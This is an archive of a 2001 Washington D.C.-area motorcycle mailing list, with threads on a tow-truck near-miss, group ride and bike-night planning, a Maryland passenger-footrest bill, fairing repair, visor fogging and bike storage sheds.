excessive legislation but by some means we have to come up with a better profile for those flat-bed tow trucks. The rear should hinge up or something so an impacting car should not suffer the guillotine manuver. And for bikes it's worse. I don't think any of us would appreciate it's effect on our necks which is where it's positioned. If the AMA/Abate wants to beat their drum about something it should be things like this. > > I am very thankful that God put that tow-truck behind me. If the SUV had tagged me, I might not be typing this. > -- > > "Civilization can only begin when sex is restrained." - Sigmond Freud > > _______________________________________________ > Get your free email from http://mail.theglobe.com > > Powered by Outblaze From dc-cycles-request Mon Feb 5 10:34:59 2001 From: "Matthew Patton" To: dc-cycles@XXXXXX Date: Mon, 05 Feb 2001 10:34:53 -0500 Subject: Re: How a tow-truck saves my skin > Actually, bump bars on the ass end of trucks is legsilated. Note that all tractor trailers have a drop bar to prevent cars from submarining under Right, but these flat-bed tow trucks have no such thing. They have (optionally) an arm that lifts the one end of their victim but it's just barely long enough to be the initial contact point before that knife-like flatbed starts. What wouldn't be so hard to do is to have the last foot or so of the bed hinge upward so the profile is flat intead of pointed right at one's neck. You could make them a whole lot safer still by lengthening the truck frame and putting on the 'crash bars' so there would be nearly zero possibility of impacting the ramp. -- "Civilization can only begin when sex is restrained." - Sigmond Freud _______________________________________________ Get your free email from http://mail.theglobe.com Powered by Outblaze From dc-cycles-request Mon Feb 5 10:38:52 2001 From: "Paul Wilson" To: "cb-750 list" Cc: "dc-cycles list" Subject: Re: How a tow-truck saves my skin Date: Mon, 5 Feb 2001 10:36:43 -0500 Matt, Glad you're OK, but man your machine in getting quite a few battle scars. Sounds similar to a wreck I had several years back in a VW Golf. I was a VW sandwich between a wood chipper being towed behind a dump truck and a diesel pickup. I was sitting waiting for a light to change (fiddling with the radio or something and never saw it coming) and said pickup, speeding no doubt, lost control in an adjacent lane and slammed into my rear, sandwiching the now totaled VW between the jagged edges of the wood chipper and the errant pickup. The guy driving the dump truck in front barely felt the impact. I walked away but the VW was thoroughly crumpled in the front and rear crush zones. Hate to think about a similar situation on a bike. That's why I now leave plenty of room and watch my mirrors (both on the bike and in the cage) while stopped in traffic. Paul in DC ----- Original Message ----- From: Matthew Patton > On Sunday I had an interesting afternoon after leaving church. I was stopped on a 4 lane road (no divider) waiting to make a left hand turn. From dc-cycles-request Mon Feb 5 11:05:04 2001 From: "Matthew Patton" To: dc-cycles@XXXXXX Date: Mon, 05 Feb 2001 11:05:00 -0500 Subject: Re: DC Ride > But I can't think of a cool, dry place to gather as an alternative. > Maybe Matthew could arrange a bike night at his church, but that would > be risky. If I showed up, lightening may strike, not to mention the > expected roof caving in etc etc... :-) naw, that was the next church down the block that had the roof cave in due to snowfall. But we have a nice full gym. I'm sure I could organize some hoops, or volleyball if you want. There are several fine eating establishments across the street. And you can go over there and rag on the true rice-burning crowd of youthful punks with their purple-lit civics makig vroom, vroom noises... Or if you like fine dining that includes lots of red meat, Ribsters at Backlick and Little River has VERY FINE ribs and steaks - probably better than Pig and Steak and a whole lot closer. Wednesday night is all you can eat night. I'll be there before going to choir. And speaking of choir, we have at least 6 bikers in our midst: 2 cb-750's, 1 cb-1000, and 2 cruisers and a handful more who used to own/ride bikes. One of these days I'll try to organize a IBC bike ride. That would be a blast. -- "Civilization can only begin when sex is restrained." - Sigmond Freud _______________________________________________ Get your free email from http://mail.theglobe.com Powered by Outblaze From dc-cycles-request Mon Feb 5 11:33:45 2001 From: "Ahalan" To: "'deus exMachina'" , "'Dc-Cycles (E-mail)'" Subject: RE: DC Ride Date: Mon, 5 Feb 2001 11:32:08 -0800 I'm interested. Keep us up to date. Niv BMW F650ST -----Original Message----- From: deus exMachina [mailto:deusman@XXXXXX] Sent: Monday, February 05, 2001 7:20 AM To: Dc-Cycles (E-mail) Subject: RE: DC Ride I was thinking a bar/restaurant is a good meeting place because of parking and food for those are hungry. We can meet sit down and talk as we wait for other riders to show up.. On another note I know the owners of both "My Brothers Place" and "Emerald Isle" next door and I've already talked to them about getting some bikes in there and both places said I should definately do it. My brothers place is good cause you can look out the patio windows and watch the bikes. It looks like we have 5 or 6 people interested in riding already, so I'll get a route map set up. Riders can mail me suggestions and I'll build a ride around them.. All we need now is a nice warm day.. > -----Original Message----- > From: Mark Kitchell [mailto:markkitchell@XXXXXX] > Sent: Monday, February 05, 2001 9:15 AM > To: Danny Thompson; Dc-Cycles (E-mail) > Subject: RE: DC Ride > > > Danny: > > That is a great point. CHuck and I have discussed > this before, as everyone rides to our Bike Nights as > well. We hold them at bars because those places will > provide us with parking, food, etc. > > I do think that in the end, each of us is personally > responsible for what we do, and should plan > accordingly. There is nothing to prevent someone from > riding to a bar, drinking water or one beer (as I do) > and leaving 100% sober. > > Additionally, and more importantly, is the 'group's' > responsibility towards their fellow riders, friends, > general public, etc. On any ride, Bike Night, etc. I > am on, if someone is impaired, I will take their keys. > Chuck and I would do that at Bike Night (he actually > took my keys one night...but just to be safe as I was > NOT going to ride). > > Riding to a bar does not have to mean getting wasted. > All these places serve food, etc. But thanks Danny > for raising a GREAT point. > > Mark > --- Danny Thompson wrote: > > I agree a ride and a bike night is a great idea, I > > am not sure a ride together > > with a bike night is such a good idea. I don't know > > how good of an idea it is > > to ride to a bar, imbibe and then ride home. > > > > Danny > > #903 Novice (WERA, CCS) > > '98 VTR > > '00 SV (For SALE) > > www.onewayracing.org > > > > Proudly Sponsored by: > > Blalock Cycle www.blalockcycle.com, Shen Valley > > Trailers > > www.shenvalleywarrenton.com > > > > On Monday, February 05, 2001 8:46 AM, Mark Kitchell > > [SMTP:markkitchell@XXXXXX] wrote: > > > Hi Deus: > > > > > > That is a great idea...a ride/bike night in DC > > with > > > those of us who are comfortable (or actually LOVE) > > > riding in DC. DC at night on a warm summer night > > can > > > be a really wonderful ride. My favorites section > > are > > > cruising by the monuments and the Kennedy Center > > on > > > Rock Creek, bombing through the tunnel under the > > > capital, and jetting up 18th Street through Adams > > > Morgan. > > > > > > Another bar idea (I think we should mix it up) is > > > Asylum. Asylum is DC's only real biker bar, with > > > little bit of parking on 18th Street and even a > > video > > > camera to watch your bike while you are at the > > bar. > > > WARNING: Asylum is a dive! Punk/goth atmosphere > > but > > > very friendly and relatively cheap for Adams > > Morgan. > > > > > > Chuck and I are organizing a Bike Night for DC > > later > > > this year but I like the idea of a smaller group > > doing > > > something like this. Let me know if you need any > > > help. > > > > > > Mark > > > --- deus exMachina wrote: > > > > Hey people.. > > > > > > > > I've been on the list for a few months, thanks > > to > > > > Corbin who I met through > > > > some friends.. I went on a couple of good rides > > too > > > > and met Brian, Laura > > > > and a few other folks.. I remember a little > > while > > > > back some talk of a bike > > > > night in dc.. I've been living here for a > > couple of > > > > years and ride all > > > > around town. I've had my bike knocked over once > > > > myself and re-ended a > > > > taxi.. I know alot of riders who never enter > > the > > > > city cause of various > > > > reasons, but for any off season riders who would > > > > venture into dc I can > > > > suggest a few places where parking and traffic > > > > wouldn't be a problem. > > > > > > > > Depending on how much space you're looking for > > there > > > > are a few places that > > > > would accomodate a group of almost any size.. I > > > > like to ride so I could > > > > meet pretty much anywhere but if people are > > > > interested I'll throw a couple > > > > maps on a response mail and plan a short route, > > on > > > > good road, around dc for > > > > those who would like to ride too. So.. If I > > get 1 > > > > or 38 responses I can > > > > make it a go. Washington really is a pretty > > town to > > > > ride in if you're > > > > willing to get yourself in.. > > > > > > > > I'll suggest "My Brothers Place" for now and > > > > depending on how the response > > > > goes maybe we won't need that much space and we > > > > could talk about another > > > > location downtown.. The weather's not looking > > so > > > > great for the next bit, > > > > but maybe next weekend we could make something > > > > happen. > > > > > > > > Respond private or public.. all riders > > welcome.. > > > > > > > > Trevor > > > > > > > > K1 > > > > > > > > > > > > > > > > > > > > > > > > > __________________________________________________ > > > Get personalized email addresses from Yahoo! Mail > > - only $35 > > > a year! http://personal.mail.yahoo.com/ > > > > > __________________________________________________ > Get personalized email addresses from Yahoo! Mail - only $35 > a year! http://personal.mail.yahoo.com/ > From dc-cycles-request Mon Feb 5 12:15:28 2001 Date: Mon, 05 Feb 2001 12:14:07 -0500 From: mlundquist To: "DC Cycles" Subject: Place to buy '97 EX500 Fairing?? Anyone know of a good place to buy a '97 EX500 fairing? The wind caught the bike cover and dumped it in front of my house about two months ago. Didn't notice the fairing was cracked till I took the bike out last week. Moral of the story: Buy a (town)house with a garage ;) -Mark Lundquist mlundquist@XXXXXX From dc-cycles-request Mon Feb 5 13:09:50 2001 From: Date: Mon, 05 Feb 2001 13:07:54 -0500 Subject: Maryland DMV mailer To: dc-cycles@XXXXXX X-MIMETrack: Serialize by Router on US-AMSMTA005/US/INTL(Release 5.0.6 |December 14, 2000) at 02/05/2001 01:08:22 PM Anyone else get the Maryland DMV survey regarding your motorcycle endorsement? It asked the typical things ... bike type, safety gear, accidents. But then expanded into drinking and riding. Sort of strange. Then it mentioned how confidential it would be, answers not shared or attributed, etc., but as I put it in the included envelope, I noticed they had a full return address label with my name, address, etc. Didn't seem very confidential. Comments? --chris RF900r ---------------------------------------------------------------- The information transmitted is intended only for the person or entity to which it is addressed and may contain confidential and/or privileged material. Any review, retransmission, dissemination or other use of, or taking of any action in reliance upon, this information by persons or entities other than the intended recipient is prohibited. If you received this in error, please contact the sender and delete the material from any computer. From dc-cycles-request Mon Feb 5 14:41:57 2001 From: "Christopher Weaver" To: Subject: De-Mist Faceshield??? Date: Mon, 5 Feb 2001 14:42:44 -0800 Hi all. I rode in to work today because my car's in the shop. I had to constantly wipe the inside of my face shield due to misting. Is there any easy trick to stopping this temporarily? I have de-misting stuff at home, but since I'm at work they won't do me any good for the ride home. Does spit work or is that just an old riders' tale? What about dishwashing detergent? Chris Weaver '98 VTR1000F '89 YSR50 From dc-cycles-request Mon Feb 5 14:44:43 2001 Date: Mon, 05 Feb 2001 14:45:42 -0800 To: dc-cycles@XXXXXX From: Stephen Harris Subject: Delegate Jean Cryor Legislation Re Motorcycle Safety For those whom are interested. Harris >From: "Delegate Jean Cryor" >To: (lots of names deleted) >Subject: Delegate Jean Cryor Legislation Re Motorcycle Safety >Date: Mon, 5 Feb 2001 12:07:12 -0500 >X-MSMail-Priority: Normal >Importance: Normal >X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6600 > >Delegate Cryor will be introducing a bill entitled VehicleLaws - >Motorcycles - Passenger Footrests > >This bill requires a motorcycle operator to ride only passengers that are >able to rest both feet on the footrests on either side of the motorcycle. > >Delegate Cryor thanks each of you that have shared your views and experience >with her in crafting this legislation. If any of you would like to testify >on behalf or against this bill, please contact me and I will notify you when >a hearing date is set. > >Sincerely, >Kathleen Clough >Legislative Aide to Delegate Jean Cryor > > Need a motorcycle related phone number or address? Try http://www.his.com/harris/shops.htm From dc-cycles-request Mon Feb 5 15:40:48 2001 Date: Mon, 5 Feb 2001 12:40:42 -0800 (PST) From: Justin Stefanon Subject: Re: De-Mist Faceshield??? To: dc-cycles@XXXXXX Poke a hole in your neck and breath through that instead of you mouth and nose. Should take care of that misting problem, may present other problems. Spit works perfectly on scuba masks. I never tried it on the moto but it's in a similar environment: warm body/breath inside, cold wetness outside. BDC's instead of sharks, otherwise very similar. --- Christopher Weaver wrote: > Hi all. > > I rode in to work today because my car's in the > shop. I had to constantly > wipe the inside of my face shield due to misting. Is > there any easy trick to > stopping this temporarily? I have de-misting stuff > at home, but since I'm at > work they won't do me any good for the ride home. > Does spit work or is that > just an old riders' tale? What about dishwashing > detergent? > > Chris Weaver > '98 VTR1000F > '89 YSR50 > __________________________________________________ Get personalized email addresses from Yahoo! Mail - only $35 a year! http://personal.mail.yahoo.com/ From dc-cycles-request Mon Feb 5 15:44:37 2001 Date: Mon, 05 Feb 2001 15:42 -0500 From: "Tuan Diep" To: "dc-cycles@XXXXXX" Subject: trailers X-Attachments: UNKNOWN.BIN --=_sb2001/02/05-20-41-33-621=_sb Does anyone know where I can rent a trailer to hail my bike to Pennsylvania? I have a pickup truck but don't want to get a ramp and load it. Thanks. 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To: "'Stephen Harris'" , dc-cycles@XXXXXX Subject: RE: Delegate Jean Cryor Legislation Re Motorcycle Safety Date: Mon, 5 Feb 2001 16:09:17 -0500 A little background to this proposal: Del. Cryor had initially proposed a bill banning children under the age of 12 from riding as passengers on motorcycles. Her original bill was a knee-jerk response to ONE complaint that was publicized in the "Dr. Gridlock" column of the Washington Post - which after further investigation turned out to be rooted in a bitter child custody dispute. After receiving quite a bit of verbal and electronic "input" from actual motorcyclists, Del. Cryor introduced this latest, "watered down" version. Greg "Scratch" Myles Forum Host, Mid Atlantic Motorcycle Riders Forum http://www.delphi.com/mmrf/messages -----Original Message----- From: Stephen Harris [mailto:harris@XXXXXX] Sent: Monday, February 05, 2001 5:46 PM To: dc-cycles@XXXXXX Subject: Delegate Jean Cryor Legislation Re Motorcycle Safety For those whom are interested. Harris >From: "Delegate Jean Cryor" >To: (lots of names deleted) >Subject: Delegate Jean Cryor Legislation Re Motorcycle Safety >Date: Mon, 5 Feb 2001 12:07:12 -0500 >X-MSMail-Priority: Normal >Importance: Normal >X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6600 > >Delegate Cryor will be introducing a bill entitled VehicleLaws - >Motorcycles - Passenger Footrests > >This bill requires a motorcycle operator to ride only passengers that are >able to rest both feet on the footrests on either side of the motorcycle. > >Delegate Cryor thanks each of you that have shared your views and experience >with her in crafting this legislation. If any of you would like to testify >on behalf or against this bill, please contact me and I will notify you when >a hearing date is set. > >Sincerely, >Kathleen Clough >Legislative Aide to Delegate Jean Cryor > > Need a motorcycle related phone number or address? Try http://www.his.com/harris/shops.htm From dc-cycles-request Mon Feb 5 17:15:34 2001 Date: Mon, 5 Feb 2001 14:15:27 -0800 (PST) From: Mark Kitchell Subject: RE: Delegate Jean Cryor Legislation Re Motorcycle Safety To: "Myles, Gregory S." , "'Stephen Harris'" , dc-cycles@XXXXXX What is such a bad idea about being able to reach the footrests? --- "Myles, Gregory S." wrote: > > A little background to this proposal: > > Del. Cryor had initially proposed a bill banning > children under the age of > 12 from riding as passengers on motorcycles. Her > original bill was a > knee-jerk response to ONE complaint that was > publicized in the "Dr. > Gridlock" column of the Washington Post - which > after further investigation > turned out to be rooted in a bitter child custody > dispute. > > After receiving quite a bit of verbal and electronic > "input" from actual > motorcyclists, Del. Cryor introduced this latest, > "watered down" version. > > Greg "Scratch" Myles > Forum Host, > Mid Atlantic Motorcycle Riders Forum > http://www.delphi.com/mmrf/messages > > > -----Original Message----- > From: Stephen Harris [mailto:harris@XXXXXX] > Sent: Monday, February 05, 2001 5:46 PM > To: dc-cycles@XXXXXX > Subject: Delegate Jean Cryor Legislation Re > Motorcycle Safety > > > For those whom are interested. > > Harris > > >From: "Delegate Jean Cryor" > > >To: (lots of names deleted) > >Subject: Delegate Jean Cryor Legislation Re > Motorcycle Safety > >Date: Mon, 5 Feb 2001 12:07:12 -0500 > >X-MSMail-Priority: Normal > >Importance: Normal > >X-MimeOLE: Produced By Microsoft MimeOLE > V5.00.2919.6600 > > > >Delegate Cryor will be introducing a bill entitled > VehicleLaws - > >Motorcycles - Passenger Footrests > > > >This bill requires a motorcycle operator to ride > only passengers that are > >able to rest both feet on the footrests on either > side of the motorcycle. > > > >Delegate Cryor thanks each of you that have shared > your views and > experience > >with her in crafting this legislation. If any of > you would like to testify > >on behalf or against this bill, please contact me > and I will notify you > when > >a hearing date is set. > > > >Sincerely, > >Kathleen Clough > >Legislative Aide to Delegate Jean Cryor > > > > > > > Need a motorcycle related phone number or address? > Try http://www.his.com/harris/shops.htm __________________________________________________ Get personalized email addresses from Yahoo! Mail - only $35 a year! http://personal.mail.yahoo.com/ From dc-cycles-request Mon Feb 5 17:39:50 2001 From: Gawthrop@XXXXXX Date: Mon, 5 Feb 2001 17:39:03 EST Subject: Re: Delegate Jean Cryor Legislation Re Motorcycle Safety To: markkitchell@XXXXXX, GMyles@XXXXXX, harris@XXXXXX, dc-cycles@XXXXXX --part1_67.f569b38.27b08587_boundary In a message dated 2/5/01 5:20:11 PM Eastern Standard Time, markkitchell@XXXXXX writes: > What is such a bad idea about being able to reach the > footrests? > Amputees, dwarfs, birth defect issues are not addressed. Bill Gawthrop Maryland "I may disagree with what you have to say, but I shall defend, to the death, your right to say it." Voltaire (1694-1778) --part1_67.f569b38.27b08587_boundary In a message dated 2/5/01 5:20:11 PM Eastern Standard Time,
markkitchell@XXXXXX writes:


What is such a bad idea about being able to reach the
footrests?  


Amputees, dwarfs, birth defect issues are not addressed.


Bill Gawthrop
Maryland

"I may disagree with what you have to say, but I shall defend, to the
death, your right to say it."   Voltaire (1694-1778)
--part1_67.f569b38.27b08587_boundary-- From dc-cycles-request Mon Feb 5 17:45:33 2001 Date: Mon, 05 Feb 2001 17:39:45 -0500 From: "William J. Huson" To: Mark Kitchell CC: "Myles, Gregory S." , "'Stephen Harris'" , dc-cycles@XXXXXX Subject: Re: Delegate Jean Cryor Legislation Re Motorcycle Safety Mark Kitchell wrote: > What is such a bad idea about being able to reach the > footrests? > Fie on you! That law clearly infringes on one's constee-tootional right to stupidly endanger the heath and well being of a tiny human being! blather - blather - rant - rant - foamy at the mouth - &^%*^%$ liberals... Oh - sorry, had my ABATE switch turned on... :-) Bill - has footboards, and they're adjustable! From dc-cycles-request Mon Feb 5 18:08:55 2001 From: "Paul Wilson" To: "dc-cycles list" Subject: Re: Delegate Jean Cryor Legislation Re Motorcycle Safety Date: Mon, 5 Feb 2001 17:58:12 -0500 It pretty much mirrors my own attitude about the requirements for a passengers, but does it really need to be a law? And, if Maryland is going to require reaching the footpegs, they'd better go the extra mile and require the passenger to be able to reach some sort of hand holds or require the use of a "Buddy Belt"-type system. I know of no way to stay on a motorcycle for very long using just the footpegs. Paul in DC ----- Original Message ----- From: Mark Kitchell > What is such a bad idea about being able to reach the > footrests? From dc-cycles-request Mon Feb 5 18:34:50 2001 From: "Matthew Patton" To: dc-cycles@XXXXXX Date: Mon, 05 Feb 2001 18:34:46 -0500 Subject: Re: Delegate Jean Cryor Legislation Re Motorcycle Safety From: "Paul Wilson" > the use of a "Buddy Belt"-type system. I know of no way to stay on a > motorcycle for very long using just the footpegs. espeically if you wax the passenger seat to a nice shine with armorall or similar. Not that I own a harley or anything. -- "Civilization can only begin when sex is restrained." - Sigmond Freud _______________________________________________ Get your free email from http://mail.theglobe.com Powered by Outblaze From dc-cycles-request Mon Feb 5 18:47:14 2001 From: "Perry Coleman" To: Gawthrop@XXXXXX, dc-cycles@XXXXXX Subject: Re: Delegate Jean Cryor Legislation Re Motorcycle Safety Date: Mon, 05 Feb 2001 18:47:04 -0500 Bill, So, how should "Amputees, dwarfs[sic], birth defect issues" be addressed? Are these beings at any lesser risk by not being able to reach footpegs? Would you be OK with it if the pegs are required if the passenger is not of the "age of consent" (i.e. 18/21?) In other words, if the passenger is able to make an informed decision, it would be OK to not require the ability to reach footpegs? Or, do you just oppose the law on general principle? I am certainly not interested in big-brother, or nanny government, but the ability to reach the footpegs has always been the number one rule before I would even consider taking a passenger on my bike. It's not the only consideration I apply, but it's a mandatory disqualification if it's not met. Your mileage may vary... Perry >From: Gawthrop@XXXXXX >To: markkitchell@XXXXXX, GMyles@XXXXXX, harris@XXXXXX, >dc-cycles@XXXXXX >Subject: Re: Delegate Jean Cryor Legislation Re Motorcycle Safety >Date: Mon, 5 Feb 2001 17:39:03 EST > >In a message dated 2/5/01 5:20:11 PM Eastern Standard Time, >markkitchell@XXXXXX writes: > > > > What is such a bad idea about being able to reach the > > footrests? > > > >Amputees, dwarfs, birth defect issues are not addressed. > > >Bill Gawthrop >Maryland > >"I may disagree with what you have to say, but I shall defend, to the >death, your right to say it." Voltaire (1694-1778) > _________________________________________________________________ Get your FREE download of MSN Explorer at http://explorer.msn.com From dc-cycles-request Mon Feb 5 19:25:20 2001 From: "Jay St. Peter" To: Cc: Subject: Shed for bike Date: Sun, 4 Feb 2001 17:41:01 -0500 X-MDaemon-Deliver-To: dc-cycles@XXXXXX X-Return-Path: jay.stpeter@XXXXXX X-MDRcpt-To: dc-cycles@XXXXXX X-MDRemoteIP: 192.9.200.199 Pete, I bought an 8x10 pre-fab (special order with taller roof) shed for my old house. I put my street bike and race bike in it. There wasn't much room after that. The worst problem with it was the floor. The kickstand area needed some reinforcement or it would go right through the plywood. I had a piece of diamond steel that I bolted to the floor in the stand area. I would suggest getting at least an 8'x8' shed if you expect to keep a bike in it. A bike takes up around 4x8 just sitting there and you really need about 6x10 to do any work on it. For 2 bikes, at least 12'x12', or 8x10 with two sets of 4' doors. You can't get one bike past another with a 4' opening. I would take all the bodywork off my race bike after every weekend and strap the bike to the wall to keep it out of the way. If you plan on using it for repairs etc., consider running electricity out to it for lights and tools. Mine was made of wood with 2x3 studs, so I ran electricity and lights through the whole thing. Keep in mind, hotter than hell in the summer and liquids (and you) will freeze in the winter. I put a couple of heat lights in for working out there in the winter. I never wanted to spend the money on an AC unit for the summer (peak vents and fans helped a little, but not enough). I got mine at the amish place at the corner of 29 and 198 in Burtonsville. I was about $1200 with the custom roof height and built on-site because they couldn't get a truck into my back yard. A final thing to consider. Because of the construction, the floor was up nearly a foot. I built a pretty good ramp, but actually had to turn while on the ramp because of a tight placement. Wood ramp was very slick when raining. Make sure you have a good straight-in entry. I'd have had them put the door on a different side if I had to do it again (and bought a 10x12). Jay St. Peter From dc-cycles-request Mon Feb 5 19:51:27 2001 Date: Mon, 05 Feb 2001 19:45:35 -0500 From: "William J. Huson" To: Perry Coleman CC: Gawthrop@XXXXXX, dc-cycles@XXXXXX Subject: Re: Delegate Jean Cryor Legislation Re Motorcycle Safety Perry Coleman wrote: > Bill, > > So, how should "Amputees, dwarfs[sic], birth defect issues" be addressed? > Are these beings at any lesser risk by not being able to reach footpegs? A wrench, my lad - Move the frigging pegs. I seriously doubt anyone would get busted for chugging around the block with a tot or any of the above handicapped folks on board, and if a short legged, no-legged person was going to be a regular passenger, then alter the bike to accomadate them. The other Bill (cont) > > Would you be OK with it if the pegs are required if the passenger is not of > the "age of consent" (i.e. 18/21?) In other words, if the passenger is able > to make an informed decision, it would be OK to not require the ability to > reach footpegs? Or, do you just oppose the law on general principle? What bullcrap - age of consent in DE is 12, but no footpegs, no ridey. Being the other Bill, I don't neccessarily oppose the law, but I do believe MD and VA has more pressing problems than screwing around with comman sense stuff. Helmet repeasl, waste of time and the preciosu natural resoures the blizzard of paperwork consumes, and I don't *see* a visable probelm with passengers falling off bikes. > I am certainly not interested in big-brother, or nanny government, but the > ability to reach the footpegs has always been the number one rule before I > would even consider taking a passenger on my bike. It's not the only > consideration I apply, but it's a mandatory disqualification if it's not > met. Your mileage may vary... Agreed. I took my kids and take my grandkids on around the block, slow speed, 5 minute rides without their ability to reach the footboards, but no leaving the `hood until they can and feel comfortable on the bike. The other Bill From dc-cycles-request Mon Feb 5 20:15:56 2001 To: race@XXXXXX, dc-cycles@XXXXXX, JBTireguy@XXXXXX, CyclePros1@XXXXXX, barnacle@XXXXXX, racing@XXXXXX, teambaked@XXXXXX, bsajim@XXXXXX, dave@XXXXXX, mad93@XXXXXX, kevin.elliott@XXXXXX, PAFNORVALE@XXXXXX, gmeyerin@XXXXXX, jgunn@XXXXXX, nelo@XXXXXX, lhardy@XXXXXX, footwork@XXXXXX, jhord@XXXXXX, alanlapp@XXXXXX, LBL2@XXXXXX, glhommedieudd@XXXXXX, jlight@XXXXXX, traxxion@XXXXXX, the_mercers@XXXXXX, dmiddleton3@XXXXXX, tomorrow@XXXXXX, tnoble269@XXXXXX, zero_dollars_racing@XXXXXX, rpatch@XXXXXX, Schmidlejr@XXXXXX, asmialek@XXXXXX, thanescott@XXXXXX, tedj101@XXXXXX, mtiberio@XXXXXX, gerladw@XXXXXX, jwoodandco@XXXXXX Date: Mon, 5 Feb 2001 20:11:47 -0500 Subject: MARRC Treasurer, Howard Weiss, Hospitalized X-Juno-Line-Breaks: 21-6,9-10,15-16,19-23,24-32767 From: Tom Fitzpatrick This message is in MIME format. Since your mail reader does not understand this format, some or all of this message may not be legible. ----__JNP_000_3cee.105f.1d4c You may not know him, but Howard "Doc" Weiss has made enormous contributions to many of us. He is the Treasurer of the Mid Atlantic Road Racing Club (MARRC), and one hell of a guy. Unfortunately, he had a bit of a problem, and was rushed into emergency surgery. I'm no doctor, so suffice it to say that it was a stomach problem. It is not cancerous. But apparently the doctor is doing major remodeling to his home, as he had Howard opened up on the slab for quite a while. He is expected to begin recuperating at home on Friday. If you would like to put a smile on the face of someone who toils endlessly and selflessly in support of racing, please consider sending a card or note to his home at: Howard M. Weiss 364 Mulberry Street Berwick, PA 18603 Thanks, Tom ----__JNP_000_3cee.105f.1d4c
You may not know him, but Howard "Doc" Weiss has made enormous=20 contributions to many of us.  He is the Treasurer of the Mid Atlantic = Road=20 Racing Club (MARRC), and one hell of a guy.
 
Unfortunately, he had a bit of a problem, and was rushed into = emergency=20 surgery.  I'm no doctor, so suffice it to say that it was a stomach=20 problem.  It is not cancerous.  But apparently the doctor is = doing=20 major remodeling to his home, as he had Howard opened up on the slab for = quite a=20 while. He is expected to begin recuperating at home on Friday.
 
If you would like to put a smile on the face of someone who toils = endlessly=20 and selflessly in support of racing, please consider sending a card or note= to=20 his home at:

Howard= M.=20 Weiss

364 = Mulberry=20 Street        

= Berwick, PA=20 18603

Thanks= ,

Tom

----__JNP_000_3cee.105f.1d4c-- From dc-cycles-request Mon Feb 5 20:35:38 2001 From: "Todd Peer" To: "AA DC-Cycles" Subject: Digest Responses Date: Mon, 5 Feb 2001 20:35:18 -0500 - AMA RideGuide, WV: Haven't read the article yet but noted that most of the roads are WSDYMOFO regulars. Man I can't wait till spring! - Matthews near miss: You should submit this story to Winding Road Motorcycle Times under "Close Encounters of the Worst Kind". This certainly applies and they pay $25 plus a free (Mailed) one year subscription. MotorCycle Times 2550 Albert Rill Road, Westminster MD, 21157-3453 - Bike night suggestions: Good points on riding and booze. I don't believe this has been a problem in the past though. I liked the suggestion to mix extracurricular activity with gathering, like volleyball, or maybe a softball game? - EX500 Fairing: How bad is it cracked? I know Linda Tanner and Chris Norloff have some experience fixing busted fairings. If it isn't too bad, save your $$$'s and fix it. - Visor misting: I keep mine cracked slightly to allow ambient airflow and try to breath downward. Usually works pretty well, but it can get cold. - Attching files: This is what digesters see....for page after page after page....No thank you! --=_sb2001/02/05-20-41-33-621=_sb IC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t LS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KDQogX18gIC8tLS0tLVwgIF9fICAgJ2RjLWN5Y2xlcycg aXMgYW4gdW5tb2RlcmF0ZWQgZW1haWwgZGlzY3Vzc2lvbiBsaXN0DQooX19cLyBfX19fXyBcL19f KSAgYWJvdXQgbW90b3JjeWNsaW5nIGluIHRoZSBXYXNoaW5ndG9uIEQuQy4gYXJlYS4NCiAgPSgg Todd Peer (Springfield, VA) From dc-cycles-request Mon Feb 5 21:28:58 2001 Date: Mon, 5 Feb 2001 18:28:54 -0800 (PST) From: Todd Withrow Subject: Re: DC Ride To: Matthew Patton , dc-cycles@XXXXXX --- Matthew Patton wrote: > Or if > you like fine dining that includes lots of red meat, > Ribsters at Backlick and Little River has VERY FINE > ribs and steaks - Hhhhmmmmm!!!! Riiibbbss, nothing like charred animal flesh. H.I. Ribsters has the best ribs around, next to mine of course. :) Race ya there! Todd ===== AIM: Inf DS http://www.geocities.com/mtwithrow ----------------------------------------------------------- Used to be that we "worldproofed" our children. Now society wants to childproof the world. __________________________________________________ Get personalized email addresses from Yahoo! Mail - only $35 a year! http://personal.mail.yahoo.com/ From dc-cycles-request Mon Feb 5 23:23:12 2001 From: "James Reazor" To: Subject: Re: How a tow-truck saves my skin Date: Mon, 5 Feb 2001 23:03:06 -0500 Matthew, I'm glad you're ok. This kind of crap is just plain scary and I'm sorry you had to experience it. -James ----- Original Message ----- From: "Matthew Patton" To: Sent: Monday, February 05, 2001 10:01 AM Subject: How a tow-truck saves my skin > On Sunday I had an interesting afternoon after leaving church. I was stopped on a 4 lane road (no divider) waiting to make a left hand turn. The road (Backlick in Springfield) curves gently left but it's enough of a curve that you can only see about 40 yards. If you're driving the speed limit (35) then it's absolutely no problem to react to traffic like me. The tow truck behind me came to a stop. But a SUV'er wasn't bothering to pay attention and plowed into the tow truck which in turn grew larger in my mirrors. The tow truck driver thankfully jerked his wheel right so he only gave me a glancing blow. Somehow in the fracus I hit the kill switch and had the presense of mind to stop the oncoming traffic and push my bike across onto the side-street. I stayed upright through it all and only thing I have to show for the incident is some scrapped paint on the side bodywork and a bent licent plate holder and tag. > > The SUV wasn't so fortunate: his engine, radiator and grill took the truck's tow-bar head-on. Mercifully that bar exists or else the nice little knife edge of the bed would have sliced into the car but good. You know, I'm no fan of excessive legislation but by some means we have to come up with a better profile for those flat-bed tow trucks. The rear should hinge up or something so an impacting car should not suffer the guillotine manuver. And for bikes it's worse. I don't think any of us would appreciate it's effect on our necks which is where it's positioned. If the AMA/Abate wants to beat their drum about something it should be things like this. > > I am very thankful that God put that tow-truck behind me. If the SUV had tagged me, I might not be typing this. > -- > > > "Civilization can only begin when sex is restrained." - Sigmond Freud > > > _______________________________________________ > Get your free email from http://mail.theglobe.com > > Powered by Outblaze From dc-cycles-request Tue Feb 6 04:27:05 2001 From: Gawthrop@XXXXXX Date: Tue, 6 Feb 2001 04:26:49 EST Subject: Re: Delegate Jean Cryor Legislation Re Motorcycle Safety To: perrycoleman@XXXXXX, Gawthrop@XXXXXX, dc-cycles@XXXXXX --part1_ff.1f2fcf5.27b11d59_boundary In a message dated 2/5/01 6:47:28 PM Eastern Standard Time, perrycoleman@XXXXXX writes: > So, how should "Amputees, dwarfs[sic], birth defect issues" be addressed? > Are these beings at any lesser risk by not being able to reach footpegs? > There is not a problem here that requires a legislative solution. 1996 Motorcycle 